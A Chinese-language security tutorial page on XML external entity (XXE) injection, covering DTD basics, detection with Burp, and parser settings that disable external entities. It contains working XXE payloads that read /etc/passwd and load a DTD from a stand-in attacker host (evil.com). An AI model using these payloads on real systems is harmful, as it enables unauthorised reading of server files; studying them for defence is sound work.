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class="sidebar-links sidebar-group-items"><li><a href="/knowledge/web/" aria-current="page" title="分类简介" class="sidebar-link">分类简介</a></li><li><a href="/knowledge/web/unauthorized.html" title="未授权访问总结" class="sidebar-link">未授权访问总结</a></li><li><a href="/knowledge/web/infoleak.html" title="信息泄露漏洞" class="sidebar-link">信息泄露漏洞</a></li><li><a href="/knowledge/web/fileuploads.html" title="文件上传漏洞" class="sidebar-link">文件上传漏洞</a></li><li><a href="/knowledge/web/fileincludes.html" title="文件包含漏洞" class="sidebar-link">文件包含漏洞</a></li><li><a href="/knowledge/web/cmd_injection.html" title="命令注入漏洞" class="sidebar-link">命令注入漏洞</a></li><li><a href="/knowledge/web/logical.html" title="常见逻辑漏洞" class="sidebar-link">常见逻辑漏洞</a></li><li><a href="/knowledge/web/csrf-ssrf.html" title="请求伪造漏洞" class="sidebar-link">请求伪造漏洞</a></li><li><a href="/knowledge/web/same-origin-policy.html" title="同源策略和域安全" class="sidebar-link">同源策略和域安全</a></li><li><a href="/knowledge/web/xss.html" title="XSS 跨站脚本漏洞" class="sidebar-link">XSS 跨站脚本漏洞</a></li><li><a href="/knowledge/web/xxe.html" aria-current="page" title="XML实体注入漏洞" class="active sidebar-link">XML实体注入漏洞</a></li><li><a href="/knowledge/web/sql_injection.html" title="SQL注入漏洞" class="sidebar-link">SQL注入漏洞</a></li><li><a href="/knowledge/web/mysql-write-shell.html" title="MySQL写shell" class="sidebar-link">MySQL写shell</a></li><li><a href="/knowledge/web/websocket-sec.html" title="WebSocket安全问题分析" class="sidebar-link">WebSocket安全问题分析</a></li></ul></section></li><li><section class="sidebar-group collapsable depth-0"><p class="sidebar-heading"><span>攻防对抗</span> <span class="arrow right"><i aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li><li><section class="sidebar-group collapsable depth-0"><p class="sidebar-heading"><span>代码审计</span> <span class="arrow right"><i aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li></ul></aside> <main class="page"> <div class="theme-antdocs-content content__default"><h2 id="xml外部实体注入">XML外部实体注入 <a href="#xml外部实体注入" class="header-anchor">#</a></h2> <p>当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害</p> <p>**注意：**执行系统命令(安装expect扩展的PHP环境里才有)</p> <h2 id="xml基础">XML基础 <a href="#xml基础" class="header-anchor">#</a></h2> <p>XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型.</p> <p>是一种允许用户对自己的标记语言进行定义的源语言。</p> <p>XML文档结构包括XML声明、DTD文档类型定义、文档元素。</p> <div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token prolog">&lt;?xml version=&quot;1.0&quot; ?&gt;</span> <span class="token comment">&lt;!--XML声明--&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">note</span> <span class="token punctuation">[</span><span class="token internal-subset">
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">note</span> <span class="token attr-name">(to,from,heading,bodys)</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">to</span> <span class="token attr-name">(#PCDATA)</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">from</span>  <span class="token attr-name">(#PCDATA)</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">heading</span> <span class="token attr-name">(#PCDATA)</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">bodys</span> <span class="token attr-name">(#PCDATA)</span><span class="token punctuation">&gt;</span></span>
</span><span class="token punctuation">]</span><span class="token punctuation">&gt;</span></span><span class="token comment">&lt;!--文档类型定义--&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>note</span><span class="token punctuation">&gt;</span></span>
	<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>to</span><span class="token punctuation">&gt;</span></span>北京<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>to</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>from</span><span class="token punctuation">&gt;</span></span>石家庄<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>from</span><span class="token punctuation">&gt;</span></span>
	<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>heading</span><span class="token punctuation">&gt;</span></span>wintrysec<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>heading</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>bodys</span><span class="token punctuation">&gt;</span></span>wintrysec.github.io<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>bodys</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>note</span><span class="token punctuation">&gt;</span></span><span class="token comment">&lt;!--文档元素--&gt;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br></div></div><p>DTD(文档类型定义)的作用是定义xml文档的合法构建模块。</p> <p>DTD 可以在 XML 文档内声明，也可以外部引用。</p> <p>PCDATA 指的是被解析的字符数据（Parsed Character Data）</p> <p>XML解析器通常会解析XML文档中所有的文本</p> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>message</span><span class="token punctuation">&gt;</span></span>此文本会被解析<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>message</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>当某个XML元素被解析时，其标签之间的文本也会被解析：</p> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>first</span><span class="token punctuation">&gt;</span></span>Bill<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>first</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>last</span><span class="token punctuation">&gt;</span></span>Gates<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>last</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token comment">&lt;!--内部声明DTD--&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">根元素</span> <span class="token punctuation">[</span><span class="token internal-subset">元素声明</span><span class="token punctuation">]</span><span class="token punctuation">&gt;</span></span>
<span class="token comment">&lt;!--引用外部DTD--&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">根元素</span> <span class="token name">SYSTEM</span> <span class="token name">“文件名”</span><span class="token punctuation">&gt;</span></span>
<span class="token comment">&lt;!--或者--&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">根元素</span> <span class="token name">PUBLIC</span> <span class="token name">“public_ID”</span> <span class="token name">“文件名”</span><span class="token punctuation">&gt;</span></span>
<span class="token comment">&lt;!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。--&gt;</span>

<span class="token comment">&lt;!--内部声明实体--&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">实体名称</span> <span class="token attr-name">“实体的值&quot;</span><span class="token punctuation">&gt;</span></span>
<span class="token comment">&lt;!--引用外部实体--&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">实体名称</span> <span class="token attr-name">SYSTEM</span> <span class="token attr-name">“URI&quot;</span><span class="token punctuation">&gt;</span></span>
<span class="token comment">&lt;!--或者--&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">实体名称</span> <span class="token attr-name">PUBLIC</span> <span class="token attr-name">“public_ID&quot;</span> <span class="token attr-name">“URI&quot;</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br></div></div><h2 id="恶意引入外部实体的三种方式">恶意引入外部实体的三种方式 <a href="#恶意引入外部实体的三种方式" class="header-anchor">#</a></h2> <h4 id="一、本地引入">一、本地引入 <a href="#一、本地引入" class="header-anchor">#</a></h4> <p>XML内容：</p> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code><span class="token prolog">&lt;?xml version=&quot;1.0&quot; ?&gt;</span> <span class="token comment">&lt;!--XML声明--&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">x</span><span class="token punctuation">[</span><span class="token internal-subset">
	&lt;!ENTITY wintrysec SYSTEM &quot;file:///etc/passwd&quot;&gt;
</span><span class="token punctuation">]</span><span class="token punctuation">&gt;</span></span><span class="token comment">&lt;!--文档类型定义--&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>test</span><span class="token punctuation">&gt;</span></span>&amp;wintrysec;<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>test</span><span class="token punctuation">&gt;</span></span><span class="token comment">&lt;!--文档元素--&gt;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br></div></div><p>一个实体由三部分构成: 一个和号 (&amp;), 一个实体名称, 以及一个分号 (😉</p> <h4 id="二、远程引入">二、远程引入 <a href="#二、远程引入" class="header-anchor">#</a></h4> <p>XML内容：</p> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code><span class="token prolog">&lt;?xml version=&quot;1.0&quot; ?&gt;</span> <span class="token comment">&lt;!--XML声明--&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">x</span><span class="token punctuation">[</span><span class="token internal-subset">
	&lt;!ENTITY %d SYSTEM &quot;http://evil.com/evil.dtd&quot;&gt;
	%d;
</span><span class="token punctuation">]</span><span class="token punctuation">&gt;</span></span><span class="token comment">&lt;!--文档类型定义--&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>test</span><span class="token punctuation">&gt;</span></span>&amp;wintrysec;<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>test</span><span class="token punctuation">&gt;</span></span><span class="token comment">&lt;!--文档元素--&gt;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br></div></div><p>DTD文件(evil.dtd)内容：</p> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code>&lt;!ENTITY wintrysec SYSTEM “file:///etc/passwd&quot;&gt;
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><h4 id="三、远程引入2">三、远程引入2 <a href="#三、远程引入2" class="header-anchor">#</a></h4> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code><span class="token prolog">&lt;?xml version=&quot;1.0&quot; ?&gt;</span>
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">x</span> <span class="token name">SYSTEM</span> <span class="token string">&quot;http://evil.com/evil.dtd&quot;</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>test</span><span class="token punctuation">&gt;</span></span>&amp;wintrysec;<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>test</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br></div></div><p>另外，不同程序支持的协议不一样</p> <p><img src="/images/xml1.png" alt=""></p> <p>上图是默认支持协议，还可以支持其他，如PHP支持的扩展协议有</p> <p><img src="/images/xml2.png" alt=""></p> <h2 id="发现xxe漏洞">发现XXE漏洞 <a href="#发现xxe漏洞" class="header-anchor">#</a></h2> <p>寻找那些接受XML作为输入内容的端点。</p> <p>用Burp抓包，随便输入密码点击登录</p> <p>观察应用程序的XML传输数据。</p> <p>请求：</p> <p><img src="/images/xmlr1.png" alt="request"></p> <p>响应：</p> <p><img src="/images/xmlp1.png" alt="Response"></p> <p>应用程序正在解析XML内容，接受特定的输入，然后将其呈现给用户</p> <p>修改请求的XML内容，重放</p> <p><img src="/images/xmlre1.png" alt=""></p> <p>我们在上面的请求中定义了一个名为wintrysec，值为 'wintrysec666' 的实体</p> <p>根据响应报文得知，解析器已经解析了我们发送的XML实体，并将实体内容呈现出来了。</p> <p>由此，可以确认，这个应用程序存在XXE漏洞。</p> <p><strong>读取任意文件：</strong></p> <p>修改数据包内容为：</p> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code><span class="token prolog">&lt;?xml version=&quot;1.0&quot;?&gt;</span> 
<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">a</span> <span class="token punctuation">[</span><span class="token internal-subset"> 
    &lt;!ENTITY wintrysec SYSTEM &quot;file:///etc/passwd&quot;&gt; 
</span><span class="token punctuation">]</span><span class="token punctuation">&gt;</span></span> 
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>username</span><span class="token punctuation">&gt;</span></span>&amp;wintrysec;<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>username</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>password</span><span class="token punctuation">&gt;</span></span>123<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>password</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br></div></div><p>重放， 成功读取<code>/etc/passwd</code>文件</p> <p><img src="/images/xmlre2.png" alt=""></p> <h2 id="防御xxe攻击">防御XXE攻击 <a href="#防御xxe攻击" class="header-anchor">#</a></h2> <h4 id="一、过滤用户提交的xml数据"><strong>一、过滤用户提交的XML数据</strong> <a href="#一、过滤用户提交的xml数据" class="header-anchor">#</a></h4> <div class="language-xml line-numbers-mode"><pre class="language-xml"><code>关键字：
&lt;!DOCTYPE和&lt;!ENTITY，SYSTEM
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div><h4 id="二、使用开发语言提供的禁用外部实体的方法"><strong>二、使用开发语言提供的禁用外部实体的方法</strong> <a href="#二、使用开发语言提供的禁用外部实体的方法" class="header-anchor">#</a></h4> <p>PHP：</p> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token function">libxml_disable_entity_loader</span><span class="token punctuation">(</span><span class="token boolean constant">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>JAVA:</p> <div class="language-java line-numbers-mode"><pre class="language-java"><code><span class="token class-name">DocumentBuilderFactory</span> dbf <span class="token operator">=</span><span class="token class-name">DocumentBuilderFactory</span><span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
dbf<span class="token punctuation">.</span><span class="token function">setExpandEntityReferences</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div><p>Python：</p> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token keyword">from</span> lxml <span class="token keyword">import</span> etree
xmlData <span class="token operator">=</span> etree<span class="token punctuation">.</span>parse<span class="token punctuation">(</span>xmlSource<span class="token punctuation">,</span>etree<span class="token punctuation">.</span>XMLParser<span class="token punctuation">(</span>resolve_entities<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div></div> <footer class="page-edit"><!----> <div class="last-updated"><span class="prefix">上次更新:</span> <span class="time">12/18/2021, 12:46:42 PM</span></div></footer> <div class="page-nav"><p class="inner"><span class="prev"><a href="/knowledge/web/xss.html" class="prev"><i aria-label="icon: left" class="anticon anticon-left"><svg viewBox="64 64 896 896" focusable="false" data-icon="left" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M724 218.3V141c0-6.7-7.7-10.4-12.9-6.3L260.3 486.8a31.86 31.86 0 0 0 0 50.3l450.8 352.1c5.3 4.1 12.9.4 12.9-6.3v-77.3c0-4.9-2.3-9.6-6.1-12.6l-360-281 360-281.1c3.8-3 6.1-7.7 6.1-12.6z"></path></svg></i>
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